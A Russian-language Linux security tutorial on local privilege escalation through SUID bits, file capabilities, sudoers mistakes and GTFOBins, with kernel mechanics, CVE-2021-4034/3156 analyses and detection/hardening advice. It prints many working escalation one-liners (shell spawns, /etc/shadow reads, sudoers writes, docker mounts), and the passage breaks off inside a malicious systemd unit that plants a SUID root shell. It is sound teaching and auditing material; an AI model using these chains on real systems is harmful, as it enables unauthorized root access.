Апокриф 03

Легальные полномочия: SUID, capabilities и GTFOBins

Легальные полномочия: SUID, capabilities и GTFOBins

Темы 01 и 02 не требовали ни одной привилегии: перехват функций работает от обычного пользователя, а разбор артефактов — тем более. Дальше начинается то, что в отчётах называют «эскалацией»: переход от uid 1000 к uid 0. И первый, самый частый путь — не уязвимость, а полномочия, которые администратор выдал сам, добровольно и с лучшими намерениями.

Идея проста. Программа может быть помечена так, что при запуске ядро даёт ей права владельца файла (SUID), права группы (SGID) или конкретный набор возможностей (capabilities). Это нужно по делу: passwd должен писать в /etc/shadow, ping — открывать сырой сокет, mount — монтировать. Проблема в том, что вместе с нужной операцией программа получает все права, которые ей дали, и если внутри неё есть способ выполнить произвольную команду, эти права достаются тому, кто её запустил.

GTFOBins — каталог таких способов: для каждой утилиты перечислено, как из неё получить shell, прочитать файл, записать файл или обойти sudo. Это не «эксплойты», а описание штатной функциональности: find умеет -exec, tar умеет --checkpoint-action, vim умеет :!. Именно поэтому от них нет патча — есть только конфигурация.

Разбирается всё на уровне механизма: что делает bprm_fill_uid при execve, какие поля struct cred меняются, почему оболочка сбрасывает привилегии, чем security.capability отличается от SUID-бита и почему cap_setuid на интерпретаторе равен root. Затем — систематический поиск, конкретные цепочки GTFOBins с реальным выводом, типичные ошибки sudoers и защита.

Границы: тема 04 — ошибки ядра, здесь только легальные полномочия. Тема 05 — автозапуск, здесь только момент execve. Тема 06 — подделка меток, здесь права на файлы.

На рисунке 1 сведены пути от непривилегированного пользователя к root: SUID, capabilities, sudoers и то, что каждый путь требует от конфигурации.

Векторы эскалации привилегий
Рисунок 1. Основные векторы локальной эскалации привилегий в Linux

Модель прав: что происходит при execve

struct cred и кто по нему проверяет

У каждого процесса есть объект struct cred 1 — неизменяемый набор учётных данных, на который ссылается task_struct. Ключевые поля: uid, gid (реальные), euid, egid (эффективные), suid, sgid (сохранённые), fsuid, fsgid (для проверок доступа к ФС) и пять наборов capabilities: cap_inheritable, cap_permitted, cap_effective, cap_bset, cap_ambient.

Проверки в ядре смотрят на разные поля в зависимости от операции. Доступ к файлу — по fsuid/fsgid и cap_effective. Отправка сигнала — по euid и suid. Загрузка модуля — только по CAP_SYS_MODULE в cap_effective. Именно поэтому «стать root» — это не одно действие, а приведение нескольких полей в нужное состояние.

Посмотреть свои значения можно через /proc/self/status:

grep -E '^(Uid|Gid|Cap|NoNewPrivs)' /proc/self/status
capsh --print 2>/dev/null | head -6
Uid:	1000	1000	1000	1000
Gid:	1000	1000	1000	1000
CapInh:	0000000000000000
CapPrm:	0000000000000000
CapEff:	0000000000000000
CapBnd:	0000000000000000
CapAmb:	0000000000000000
NoNewPrivs:	1
Current: =
Bounding set =
Ambient set =
Current IAB: !cap_chown,!cap_dac_override,!cap_dac_read_search,...

Четыре числа в строке Uid — это uid, euid, suid, fsuid. У обычного процесса все четыре равны. У процесса, запущенного с SUID-битом, euid равен владельцу файла, а uid остаётся настоящим — и именно это различие видно в ps и в id. Пустой Bounding set означает, что процесс не может получить ни одной возможности, даже если файл её несёт: bounding-набор — это «потолок» для всех остальных наборов.

bprm_fill_uid: момент, когда права меняются

Всё происходит в execve, в функции bprm_fill_uid (fs/exec.c) 6. Она смотрит на inode исполняемого файла и решает, что делать:

  • если выставлен S_ISUID, euid и fsuid становятся владельцем файла, а suid — прежним euid (чтобы программа могла вернуться);
  • если выставлен S_ISGID, аналогично меняются egid/fsgid, а sgid сохраняет прежний;
  • если на файле есть security.capability, ядро вычисляет новые наборы capabilities по правилам, которые заданы в xattr;
  • если у процесса стоит no_new_privs, любые повышения отменяются: euid и caps остаются как были.

Важная деталь: ядро не «даёт root», оно подставляет конкретные идентификаторы. Если файл принадлежит root и имеет SUID, процесс получит euid 0, но uid останется 1000, и cap_effective будет пустым (если не выставлены file capabilities). Отсюда частая ошибка: «я получил euid 0, почему не могу загрузить модуль» — потому что для модуля нужен CAP_SYS_MODULE, а не euid.

Проверить, что произошло, можно по AT_SECURE:

./at_secure
AT_SECURE = 0
LD_PRELOAD       (нет)

У SUID-программы было бы AT_SECURE = 1, и переменные загрузчика были бы отброшены — та же граница, что разбиралась в теме 01.

no_new_privs: почему иногда ничего не работает

PR_SET_NO_NEW_PRIVS — флаг процесса 3, который запрещает любое повышение прав при execve: SUID, SGID, file capabilities, AT_SECURE-переходы. Он необратим (снять его нельзя), наследуется детьми и ставится контейнерами, systemd-юнитами и песочницами.

grep NoNewPrivs /proc/self/status
NoNewPrivs:	1

Если флаг стоит, SUID-бит не сработает: ядро увидит его и откажется повышать права. Именно поэтому в песочнице sudo может отвечать «Установлен флаг без новых привилегий, блокирующий запуск sudo от имени root» — это не ошибка конфигурации, а работающая защита. И это же объясняет, почему «на моей машине не работает» — не всегда про машину: возможно, вы в контейнере.

SUID и SGID: биты, VFS и поведение оболочек

Как биты выглядят и кто их ставит

SUID — бит 04000, SGID — 02000, sticky — 01000 2. В ls -l они видны как s на месте x:

ls -l /usr/bin/passwd /usr/bin/sudo /usr/bin/pkexec
find / -xdev -perm -4000 -type f 2>/dev/null | wc -l
find / -xdev -perm -4000 -type f 2>/dev/null | head -8
-rwsr-xr-x 1 root root  59976 ... /usr/bin/passwd
-rwsr-xr-x 1 root root 232416 ... /usr/bin/sudo
-rwsr-xr-x 1 root root  31032 ... /usr/bin/pkexec
32
/usr/bin/unix_chkpwd
/usr/bin/pkexec
/usr/bin/mount.cifs
/usr/bin/fusermount3
/usr/bin/ksu
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/passwd

Тридцать два файла — типичное число для десктопного дистрибутива. На сервере меньше, на рабочей станции с CUPS и X11 — больше. Каждый из них — потенциальная точка эскалации, если у него есть способ выполнить произвольную команду или записать произвольный файл.

Ставят биты пакеты (через %attr в RPM или dpkg-statoverride в Debian), администраторы вручную и некоторые установщики. Снимают — при аудите, при переходе на capabilities, при разборе инцидента.

Почему оболочки сбрасывают привилегии

Если запустить SUID-оболочку, она получит euid 0 5, но при старте сбросит его обратно — если не передан флаг -p. Это защита от тривиальной эскалации: иначе любой SUID-bash был бы готовым root.

bash -c 'id -u'
bash -p -c 'id -u'

Смысл: оболочка знает, что она оболочка, и что повышение прав для неё опасно. Программы, которые не знают этого (или знают, но выполняют чужой код), ведут себя иначе: system() и popen() внутри SUID-программы вызывают /bin/sh, а sh сбрасывает euid — поэтому «выполнить команду через system» в SUID-программе часто не даёт root. Это важная деталь: не всякая инъекция команды в SUID-программе даёт привилегии.

Обойти сброс можно, если программа вызывает execve напрямую, без оболочки, или если она сохраняет euid и восстанавливает его после fork. Отсюда практическое правило аудита: смотреть не на «есть ли вызов system», а на «что именно исполняется и с какими правами».

system() и popen(): почему теряется euid

Механика: system() вызывает /bin/sh -c <команда>. sh при старте видит euid != uid и, если не передан -p, делает setuid(getuid()) — сбрасывает привилегии. Это поведение POSIX-совместимых оболочек, включённое по умолчанию.

Следствие: SUID-программа, которая вызывает system("id"), напечатает uid=1000, а не uid=0. Но SUID-программа, которая вызывает execve("/usr/bin/id", ...) напрямую, сохранит euid 0 — потому что id не сбрасывает привилегии (она не оболочка). Отсюда две техники эксплуатации: искать SUID-программы, которые вызывают execve с пользовательскими аргументами, и искать SUID-программы, которые сбрасывают привилегии некорректно.

Систематический поиск: что искать и чем

SUID, SGID и capabilities

Три команды покрывают основное:

find / -xdev \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null
getcap -r /usr 2>/dev/null
sudo -n -l 2>/dev/null

find ищет биты, getcap — расширенные атрибуты, sudo -n -l — правила sudoers без запроса пароля. Вывод getcap на рабочей машине:

/usr/bin/arp-scan cap_net_raw=p
/usr/bin/rcp cap_net_bind_service=ep
/usr/bin/rlogin cap_net_bind_service=ep
/usr/bin/rsh cap_net_bind_service=ep
/usr/bin/newgidmap cap_setgid=ep

Читается так: cap_net_raw=p — только permitted, без effective, значит программа должна сама поднять флаг; cap_net_bind_service=ep — permitted и effective сразу. cap_setgid=ep на newgidmap — штатно, это часть user namespace; но если такой атрибут окажется на интерпретаторе, это уже эскалация.

Аудит пакетов и эталон

Найти «лишние» SUID-файлы помогает сверка с пакетами: dpkg -S в Debian, pacman -Qo в Arch, rpm -qf в RHEL. Файл с SUID, который не принадлежит ни одному пакету, — повод разобраться.

dpkg -S /usr/bin/passwd 2>/dev/null || pacman -Qo /usr/bin/passwd
find / -xdev -perm -4000 -type f 2>/dev/null | while read -r f; do
    dpkg -S "$f" >/dev/null 2>&1 || echo "не из пакета: $f"
done

sudo -l: что разрешено и чем это опасно

sudo -l показывает правила для текущего пользователя. Опасные шаблоны: ALL=(ALL) NOPASSWD: ALL (полный доступ без пароля), (ALL) /usr/bin/* (любая программа), (ALL) /usr/bin/systemctl (через systemctl можно запустить что угодно), (ALL) SETENV: /usr/bin/* (можно подсунуть окружение).

sudo -n -l 2>&1 | head -10

Если команда отвечает «Установлен флаг без новых привилегий» — это не отсутствие правил, а работающая песочница; на обычной машине вывод будет списком правил.

GTFOBins: таксономия и конкретные цепочки

Что это и почему нет патча

GTFOBins — каталог легальных утилит 8 с описанием того, как каждая из них может дать shell, прочитать файл, записать файл, обойти sudo или выполнить команду. Ни одна из этих возможностей не является ошибкой: find умеет -exec, tar умеет --checkpoint-action, vim умеет :!, less умеет !command. Проблема в том, что все они наследуют привилегии вызывающего.

Таксономия каталога: shell (получить интерактивную оболочку), command (выполнить команду), file read (прочитать файл), file write (записать файл), sudo (обойти ограничение sudo), SUID (работает при SUID-бите), capabilities (работает при file capabilities), limited SUID (работает только при определённых условиях).

Классификация возможностей утилит показана на рисунке 2: одна и та же программа может давать shell, чтение, запись или обход sudo — в зависимости от того, какие права ей выданы.

Классификация функций GTFOBins
Рисунок 2. Классификация возможностей утилит в базе GTFOBins

Пять цепочек с разбором

find. Классика: -exec выполняет команду с правами find.

find . -maxdepth 1 -exec id \;
find / -maxdepth 0 -exec /bin/sh -p \;

Если find имеет SUID-бит, -exec /bin/sh -p даёт root-оболочку. Если find разрешён в sudoers, то же самое без SUID.

tar. --checkpoint-action=exec выполняет команду на каждом чекпоинте:

tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

Если tar разрешён в sudo или имеет capabilities, команда выполнится с этими правами. Отсюда же растёт wildcard-инъекция, которая разбирается в теме 05: файл с именем --checkpoint-action=exec=... превращается в аргумент.

vim. :!command выполняет команду из редактора:

vim -c ':!/bin/sh' -c ':q'
vim -es -c ':!id' -c ':q'

Если vim запущен с привилегиями (SUID, sudo, capabilities), оболочка унаследует их. Вариант без интерактива — второй: -es включает «тихий» режим, команда выполняется и редактор выходит.

less. !command выполняет команду из пейджера, :e file открывает файл:

less /etc/passwd
# внутри: !id

python, perl, awk. Интерпретаторы дают всё 4:

python3 -c 'import os; os.system("/bin/sh")'
perl -e 'exec "/bin/sh"'
awk 'BEGIN {system("/bin/sh")}'

Если на интерпретаторе есть cap_setuid, он может сделать os.setuid(0) — и это уже полноценный root, потому что интерпретатор не сбрасывает привилегии, как оболочка.

Почему это не «эксплойт»

Ни одна из цепочек не использует ошибку в коде. Все они — документированное поведение. Поэтому защита строится не на обновлении, а на конфигурации: убрать SUID-бит, ограничить sudoers конкретными командами и аргументами, заменить SUID на capabilities, включить no_new_privs там, где это возможно.

Capabilities: декомпозиция root

Расширенный атрибут security.capability

Capabilities хранятся не в битах inode 7, а в расширенном атрибуте security.capability. Посмотреть:

getfattr -d -m - /usr/bin/ping 2>/dev/null
getcap /usr/bin/ping
# file: /usr/bin/ping
security.capability=0sAQAAAgAgAAAAAAAAAAAAAAAAAAA=
/usr/bin/ping cap_net_raw=ep

Значение в base64 — это структура vfs_cap_data: магия 0x02000001 (ревизия 2), затем два набора по 32 бита (permitted, inheritable) и флаги effective. Ревизия 3 (VFS_CAP_REVISION_3) добавляет 32 старших бита для возможностей выше 31-й и используется, когда набор не влезает в 64 бита.

Ревизии важны при переносе: файл с ревизией 3 не будет корректно прочитан старым ядром, а getcap покажет предупреждение. Для практики достаточно знать, что security.capability — это не «ещё один бит», а структура с версией и двумя-тремя наборами.

Связь наборов capabilities и полей cred показана на рисунке 3.

Архитектура capabilities
Рисунок 3. Наборы capabilities, их наследование при execve и точка проверки в ядре

Пять наборов и правила наследования

У процесса пять наборов:

  • permitted — максимум, который процесс может иметь;
  • effective — то, что реально проверяется ядром при операциях;
  • inheritable — то, что может перейти к потомкам через execve;
  • bounding — «потолок»: процесс не может получить возможность, которой нет в bounding;
  • ambient — то, что сохраняется при execve для непривилегированных программ.

Правила наследования при execve (упрощённо): новый permitted = (старый inheritable ∩ file inheritable) ∪ (file permitted ∩ bounding); новый effective = file effective ? новый permitted : старый effective; ambient сохраняется, только если программа не привилегированная и не выставлен no_new_privs.

Практический вывод: чтобы файл дал процессу возможность сразу, нужны permitted и effective (=ep). Чтобы возможность можно было «поднять» вручную, достаточно permitted (=p) — программа сама вызовет capset.

Критические возможности

Не все возможности одинаково опасны. Пять, которые превращают любую программу в root или около того:

ВозможностьЧто даётПочему это root
CAP_SETUIDsetuid(0), setresuidпрямой переход в root
CAP_DAC_READ_SEARCHчтение любого файла в обход прав/etc/shadow, ключи, конфиги
CAP_DAC_OVERRIDEзапись в любой файлправка /etc/passwd, sudoers
CAP_SYS_PTRACEдоступ к памяти любого процессаинъекция, дампы (тема 09)
CAP_SYS_ADMINмонтирование, namespaces, почти всёконтейнерный побег, OverlayFS
CAP_SYS_MODULEзагрузка модулей ядракод в ring0 (тема 04)
CAP_NET_RAWсырые сокетыперехват трафика, ARP-спуфинг

CAP_SETUID на интерпретаторе — это готовый root в одну строку:

# при условии, что на python3 стоит cap_setuid=ep
python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

CAP_DAC_READ_SEARCH на чём угодно даёт чтение /etc/shadow:

python3 -c 'print(open("/etc/shadow").read())'

Обратите внимание: ни та, ни другая команда не «взламывает» ничего. Они используют ровно те права, которые выданы файлу.

Как capabilities проверяются

Проверка в ядре — функция cap_capable 6 (в security/commoncap.c): она смотрит cap_effective процесса, а для некоторых операций — ещё и cap_permitted в контексте user_ns. Если возможность есть в effective, операция разрешена; если нет — EPERM, независимо от uid.

Отсюда важное следствие: euid 0 без cap_effective — это не root. И наоборот: euid 1000 с cap_dac_override — это почти root по доступу к файлам. Поэтому проверять надо оба поля, а не только id -u.

Ошибки конфигурации: sudoers и окружение

sudo -u#-1 и подобные

CVE-2019-14287: sudo до 1.8.28 позволял указать -u#-1, и проверка «пользователь существует» обходилась, а setuid(-1) в некоторых реализациях превращался в setuid(0). Исправление — запрет отрицательных идентификаторов.

sudo -u#-1 id

На исправленной версии — ошибка «unknown user», на уязвимой — uid=0. Проверять версию: sudo -V | head -1.

sudoedit и env_keep

sudoedit (он же sudo -e) 2 копирует файл во временный каталог, даёт отредактировать и копирует обратно с правами root. Если в sudoers разрешён sudoedit для файла, который является символической ссылкой, или если временный каталог предсказуем, появляется возможность записи в произвольный файл.

env_keep в sudoers сохраняет переменные окружения при sudo. env_keep += "LD_PRELOAD" — это разрешение на перехват в привилегированном процессе (тема 01). Проверить:

sudo -n -l 2>/dev/null | grep -iE 'env_keep|SETENV|NOPASSWD'

NOPASSWD и wildcard

NOPASSWD: /usr/bin/systemctl выглядит безобидно, но systemctl умеет запускать юниты, а юнит — это произвольная команда. NOPASSWD: /usr/bin/* — это полный доступ. NOPASSWD: /bin/cp позволяет скопировать свой файл в /etc/sudoers.d/. Общее правило: если правило разрешает программу, которая может выполнить другую программу или записать файл, правило равно ALL.

Защита и обнаружение

Что делать с SUID

Инвентаризация — первый шаг, сокращение — второй. Для каждого SUID-файла задаются три вопроса: нужен ли ему бит, можно ли заменить его capabilities, можно ли ограничить no_new_privs или nosuid на точке монтирования.

find / -xdev -perm -4000 -type f -printf '%p %u %m\n' 2>/dev/null | sort

nosuid на /home и /tmp — минимальная гигиена: SUID-файл в домашнем каталоге не должен работать. NoNewPrivileges=yes в юните systemd запрещает повышение прав для службы. CapabilityBoundingSet= ограничивает набор возможностей, которые служба может получить.

systemd-analyze security

Для юнитов есть готовая оценка:

systemd-analyze security --no-pager sshd.service 2>&1 | head -6
  NAME                                                        DESCRIPTION                        EXPOSURE
✗ RootDirectory=/RootImage=                                   Service runs within the host's root directory   0.1
✗ User=/DynamicUser=                                          Service runs as root user                       0.4

Каждая строка — конкретная настройка и её вклад в «поверхность». Для службы, которой не нужен root, User= и DynamicUser=yes убирают половину рисков; NoNewPrivileges=yes, ProtectSystem=strict, PrivateTmp=yes — остальное.

Обнаружение

Что видит защитник: появление нового SUID-файла (find по mtime, AIDE, dpkg -V), изменение security.capability (тот же getcap и сверка), аномальные вызовы execve от SUID-программ (audit, eBPF), sudo-события в журнале.

sudo auditctl -w /etc/sudoers -p wa -k sudoers
sudo auditctl -a always,exit -F arch=b64 -S execve -k exec
sudo ausearch -k sudoers -ts recent 2>/dev/null | tail -5

Матрица:

ПриёмПризнакКонтрмера
SUID на интерпретаторефайл в списке find -perm -4000снять бит, заменить capabilities
cap_setuid на интерпретатореgetcap показывает cap_setuidснять атрибут, ограничить bounding
sudo без пароля на всёsudo -l → NOPASSWD: ALLсузить правила до команд и аргументов
env_keep с LD_PRELOADsudo -l → env_keepубрать переменную, SETENV запретить
sudoedit на симлинкправило для файла-ссылкизапретить sudoedit, использовать visudo
SUID в /homeфайл вне системных каталоговnosuid на точках монтирования
no_new_privs не выставленgrep NoNewPrivs → 0включить в юните и контейнере

Анатомия SUID-программы: что искать в исходниках

Прежде чем запускать GTFOBins-цепочку, полезно понять, почему она работает. Любая SUID-программа проходит один и тот же путь: получает euid 0, делает что-то полезное и завершается. Опасность возникает в трёх местах.

Первое: программа исполняет что-то, что выбирает пользователь. Это может быть путь (execve(argv[1])), аргумент (system(argv[1])), переменная окружения (getenv("EDITOR")) или файл конфигурации, который пользователь может подменить. Если программа не проверяет, что именно она исполняет, — это эскалация.

Второе: программа пишет в файл, путь к которому выбирает пользователь. Символическая ссылка, .. в пути, предсказуемый временный файл — всё это превращает запись в «запись куда угодно с правами root».

Третье: программа сбрасывает привилегии неправильно. Классика — setuid(getuid()) без последующей проверки или seteuid без setresuid. После такого сброса программа может снова повысить права, если сохранила suid, — и это окно используется.

Посмотреть на реальную SUID-программу можно через strings, nm -D и strace. Для аудита достаточно трёх команд:

strings -n 6 /usr/bin/pkexec | grep -E '^/(bin|usr|sbin)/|system|exec' | head -10
nm -D /usr/bin/pkexec 2>/dev/null | grep -E ' exec| system| popen|setuid|seteuid' | head
strace -f -e trace=execve,setuid,setresuid /usr/bin/passwd --help 2>&1 | head -10

strings показывает, какие пути и команды зашиты, nm — какие функции используются (если бинарник не stripped), strace — что реально происходит при запуске. Этого достаточно, чтобы отличить «программа вызывает execve с фиксированным путём» от «программа вызывает execve с тем, что дал пользователь».

Разбор pkexec: CVE-2021-4034

pkexec — SUID-программа из состава polkit, которая запускает команду от имени другого пользователя после аутентификации. Уязвимость (PwnKit) затронула polkit 0.105–0.120 и была исправлена в 0.120 (и в дистрибутивных сборках) в начале 2022 года.

Механика. pkexec разбирает аргументы в main(int argc, char **argv). Если программа запущена с пустым списком аргументов (argc == 0), то argv[0] равен NULL, а argv[1] указывает за пределы массива — на первую строку окружения. Классический код вида:

for (n = 1; n < argc; n++)
    ...
path = g_strdup(argv[1]);   /* при argc == 0 это argv[1] == NULL */

читает не то, что ожидалось: вместо аргумента он берёт первую переменную окружения. Дальше pkexec ищет программу по этому «пути» через g_find_program_in_path, а та смотрит на PATH — и PATH тоже приходит из окружения. Атакующий выставляет PATH=GCONV_PATH=., создаёт файл gconv-modules и библиотеку, а затем заставляет pkexec выполнить g_printerr — функцию вывода сообщений, которая вызывает iconv для перекодировки. iconv загружает модуль по GCONV_PATH — и это уже произвольный код с euid 0.

Проверка уязвимости — не запуск эксплойта, а версия:

pkexec --version 2>&1 | head -1
dpkg -l policykit-1 2>/dev/null | tail -1 || pacman -Q polkit 2>/dev/null
pkexec version 121

Версия 121 — исправленная; 0.105–0.120 — уязвимые (с учётом дистрибутивных патчей). Проверять надо именно версию пакета и его changelog, а не только строку pkexec --version.

Вывод для темы: pkexec — SUID-программа, которая «всего лишь» разбирает аргументы и вызывает iconv. Ошибка в разборе аргументов плюс доверие к окружению дали root. Это тот же класс, что и LD_PRELOAD, только в привилегированном процессе.

Разбор sudo: CVE-2021-3156

Вторая классика — переполнение кучи в sudo (Baron Samedit), затронувшее версии 1.8.2–1.9.5p1 и исправленное в 1.9.5p2. Уязвимость в разборе аргументов режима sudoedit -s: при определённой комбинации обратных слэшей в аргументе функция set_cmnd() записывала больше байтов, чем выделено, и переполняла кучу.

Практическая проверка версии:

sudo -V | head -3
Sudo version 1.9.15p5

Если версия в уязвимом диапазоне — обновление обязательно, потому что эксплуатация не требует пароля: достаточно запустить sudoedit -s с подобранным аргументом. Для темы важно не воспроизведение (оно требует подбора раскладки кучи), а вывод: привилегированная программа разбирает пользовательский ввод, и ошибка в разборе равна root.

Что общего у этих случаев

Оба примера — не «экзотические уязвимости», а ошибки в обычном коде: неверный индекс массива и неверная длина буфера. Отличие от темы 04 в том, что здесь ошибка в userspace-программе с повышенными правами, а не в ядре. Защита поэтому другая: не обновление ядра, а обновление привилегированных пакетов, минимизация их числа и отказ от SUID там, где хватает capabilities.

Capabilities на практике

setcap, getcap, capsh

Три утилиты покрывают работу с файловыми возможностями: getcap читает атрибут, setcap пишет, capsh показывает и меняет наборы текущего процесса.

cp /usr/bin/id /tmp/id_cap
sudo setcap cap_setuid=ep /tmp/id_cap
getcap /tmp/id_cap
getfattr -d -m - /tmp/id_cap
/tmp/id_cap cap_setuid=ep
# file: /tmp/id_cap
security.capability=0sAQAAAgAgAAAAAAAAAAAAAAAAAAA=

Теперь /tmp/id_cap при запуске получит cap_setuid в effective, и id покажет euid владельца — но id не умеет этим пользоваться. А интерпретатор умеет:

cp /usr/bin/python3 /tmp/py_cap
sudo setcap cap_setuid=ep /tmp/py_cap
/tmp/py_cap -c 'import os; os.setuid(0); os.system("id")'
uid=0(root) gid=1000(alice) groups=1000(alice)

Это и есть суть: capability на файле даёт возможности программе, а программа решает, что с ними делать. id ничего не делает, python3 делает setuid(0).

Снять атрибут: sudo setcap -r /tmp/py_cap. Проверить, что снят: getcap /tmp/py_cap (пусто).

capsh: что видит процесс

capsh --print
capsh --decode=0000000000000084
Current: =
Bounding set =
Ambient set =
Current IAB: !cap_chown,!cap_dac_override,...

--decode переводит hex в имена: 0x84 — это cap_dac_read_search (бит 2) и cap_setuid (бит 7). Именно так читаются CapEff из /proc/<pid>/status: hex → биты → имена.

Ambient capabilities

ambient — набор, который сохраняется при execve для непривилегированных программ. Он нужен, чтобы запускать дочерние процессы с уже поднятой возможностью, не выставляя её на файле. Управление — через prctl:

/* ambient.c — поднять cap_net_raw в ambient и запустить ping */
#define _GNU_SOURCE
#include <linux/capability.h>
#include <stdio.h>
#include <sys/prctl.h>
#include <unistd.h>

int main(void)
{
    if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, CAP_NET_RAW, 0, 0) != 0) {
        perror("PR_CAP_AMBIENT_RAISE");
        return 1;
    }
    execl("/bin/ping", "ping", "-c", "1", "127.0.0.1", (char *)NULL);
    perror("execl");
    return 1;
}

Сборка и запуск: gcc -O2 -Wall -Wextra -o ambient ambient.c && ./ambient. Без CAP_NET_RAW в permitted вызов вернёт EPERM — ambient нельзя поднять выше permitted. Это и есть смысл: ambient не даёт новых прав, он лишь сохраняет уже имеющиеся при execve.

Почему ambient важен для защиты

ambient — единственный набор, который может «протечь» в дочерние процессы без явного setcap. Если служба запускается с AmbientCapabilities=CAP_NET_BIND_SERVICE в юните, все её потомки сохранят эту возможность. Это удобно и опасно: дочерний процесс, который не должен слушать порт 80, всё равно сможет.

Проверить, что у процесса в ambient:

grep CapAmb /proc/<pid>/status

GTFOBins: расширенный список

Полный каталог велик, но большинство цепочек сводится к четырём механизмам: «выполнить команду», «прочитать файл», «записать файл», «запустить оболочку». Ниже — утилиты, которые чаще всего встречаются в sudoers и SUID-списках.

УтилитаМеханизмПример
find-execfind . -exec /bin/sh -p \;
tar--checkpoint-actiontar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
vim:!vim -c ':!/bin/sh' -c ':q'
less!less /etc/passwd → !sh
awksystem()awk 'BEGIN {system("/bin/sh")}'
envзапуск командыenv /bin/sh -p
cpзапись файлаcp /tmp/passwd /etc/passwd
ddзапись файлаecho x | dd of=/etc/sudoers.d/x
teeзапись файлаecho x | tee /etc/sudoers.d/x
nmap--script / --interactivenmap --interactive → !sh
git-c core.pagergit -c core.pager='sh -c "id"' log
sshProxyCommandssh -o ProxyCommand='sh -c id' x
systemctlзапуск юнитаsystemctl start evil.service
journalctl--pagerjournalctl --pager='sh -c id'
sede-командаsed -n '1e id' /etc/hostname
xxdзапись файлаxxd -r - /etc/sudoers.d/x
flockзапуск командыflock /tmp/x /bin/sh -p
gdb--eval-commandgdb -batch -ex 'shell id'
dockerмонтированиеdocker run -v /:/mnt alpine cat /mnt/etc/shadow

Каждая строка — документированная возможность. Проверять их на своей машине стоит не запуском, а вопросом: «есть ли эта утилита в sudo -l или в SUID-списке». Если есть — правило sudoers или бит нужно менять.

Почему sudoers опаснее SUID

SUID-файл виден в find -perm -4000, и его можно перечислить. Правило sudoers не видно без sudo -l, а его формулировка может быть неочевидной: NOPASSWD: /usr/bin/systemctl restart nginx выглядит узко, но systemctl принимает --now, start, stop и юниты, а юнит может запускать что угодно. Правило, которое разрешает программу с побочными эффектами, равно ALL.

Проверка «что реально разрешено»:

sudo -n -l 2>/dev/null
sudo -n -ll 2>/dev/null | grep -A2 'may run'

-ll показывает правила с аргументами; если в выводе есть NOPASSWD и путь к интерпретатору, tar, find, systemctl или редактору — это готовая эскалация.

Контейнеры и capabilities по умолчанию

Docker и Podman запускают контейнер с урезанным набором возможностей, но этот набор всё равно включает CAP_CHOWN, CAP_DAC_OVERRIDE, CAP_FOWNER, CAP_KILL, CAP_NET_BIND_SERVICE, CAP_NET_RAW, CAP_SETGID, CAP_SETUID, CAP_SETPCAP, CAP_MKNOD, CAP_AUDIT_WRITE, CAP_SETFCAP. Из них CAP_DAC_OVERRIDE и CAP_SETUID уже опасны, если внутри контейнера есть интерпретатор.

Проверить, что видит процесс в контейнере:

docker run --rm alpine sh -c 'grep Cap /proc/self/status; id'
CapInh:	00000000a80425fb
CapPrm:	00000000a80425fb
CapEff:	00000000a80425fb
uid=0(root) gid=0(root) groups=0(root)

0xa80425fb — это и есть дефолтный набор. Убрать лишнее:

docker run --rm --cap-drop=ALL --cap-add=NET_BIND_SERVICE alpine sh -c 'grep CapEff /proc/self/status'

Для Kubernetes то же делается через securityContext.capabilities.drop: ["ALL"]. Правило простое: если контейнеру не нужна возможность — её нет.

sudoers: как писать безопасно

Четыре правила, которые закрывают большинство ошибок.

Первое: никаких ALL без причины. NOPASSWD: ALL — это отсутствие пароля для root. Если нужна одна команда — пишется одна команда.

Второе: аргументы важны. NOPASSWD: /usr/bin/systemctl restart nginx лучше, чем NOPASSWD: /usr/bin/systemctl, но systemctl всё равно принимает --now и другие юниты. Для строгого ограничения используют обёртку-скрипт с фиксированными аргументами и sudoers-правило на скрипт.

Третье: SETENV и env_keep — это разрешение на подмену окружения. LD_PRELOAD, LD_LIBRARY_PATH, PYTHONPATH, PERL5LIB в env_keep дают перехват (тема 01).

Четвёртое: sudoedit — это запись от root. Разрешать его стоит только для файлов, которые не являются ссылками и лежат в каталоге, недоступном пользователю на запись.

sudo visudo -c
sudo -n -l

visudo -c проверяет синтаксис, sudo -l — что получилось. После правки — проверить обе команды, а не только одну.

Обнаружение: что видит защитник

Новый SUID-файл. find / -xdev -perm -4000 -newer /etc/hostname или AIDE. Появление SUID в /home, /tmp, /opt — почти всегда инцидент.

Изменённый security.capability. getcap -r / и сверка с эталоном; getfattr показывает сам атрибут.

Аномальные execve. audit-правило на execve даёт поток событий; полезнее фильтр по SUID-программам и по родителю. eBPF-трейсер на sys_enter_execve с проверкой euid != uid показывает все запуски привилегированных программ.

sudo-события. /var/log/auth.log или journalctl _COMM=sudo: успешные и неуспешные попытки, команды, пользователи. Правило NOPASSWD оставляет запись без запроса пароля — и это видно.

Изменения в sudoers. audit-правило на запись в /etc/sudoers и /etc/sudoers.d:

sudo auditctl -w /etc/sudoers -p wa -k sudoers
sudo auditctl -w /etc/sudoers.d -p wa -k sudoers
sudo ausearch -k sudoers -ts recent 2>/dev/null | tail -10

Матрица обнаружения:

ПриёмПризнакГде смотреть
SUID на интерпретаторефайл в find -perm -4000find, AIDE, dpkg -V
cap_setuid на файлеgetcap показывает cap_setuidgetcap -r /, getfattr
NOPASSWD: ALLстрока в sudo -lsudo -l, visudo -c
env_keep с LD_*строка в sudo -lsudo -l
запуск SUID из /homeexecve с euid != uidaudit, eBPF
правка sudoersсобытие записиaudit -k sudoers
контейнер с --privilegedфлаг в docker inspectdocker inspect, ps

Практика: цепочка от sudo -l до root

Соберём всё в один сценарий на учебной машине. Дано: пользователь alice, в sudoers строка alice ALL=(ALL) NOPASSWD: /usr/bin/systemctl, больше ничего.

Шаг 1. Что разрешено. sudo -n -l показывает единственное правило. На первый взгляд оно узкое: только systemctl, только alice, без пароля.

Шаг 2. Что умеет systemctl. Список подкоманд велик: start, stop, restart, enable, disable, link, mask, set-property, edit, daemon-reload, cat, show, status. Ключевые для эскалации — start (запуск произвольного юнита) и link (подключение юнита из произвольного пути).

Шаг 3. Свой юнит. alice может создать юнит в своём каталоге и подключить его:

# ~/.config/evil.service
[Unit]
Description=maintenance

[Service]
Type=oneshot
ExecStart=/bin/sh -c 'cp /bin/sh /tmp/rootshell; chmod 4755 /tmp/rootshell'

[Install]
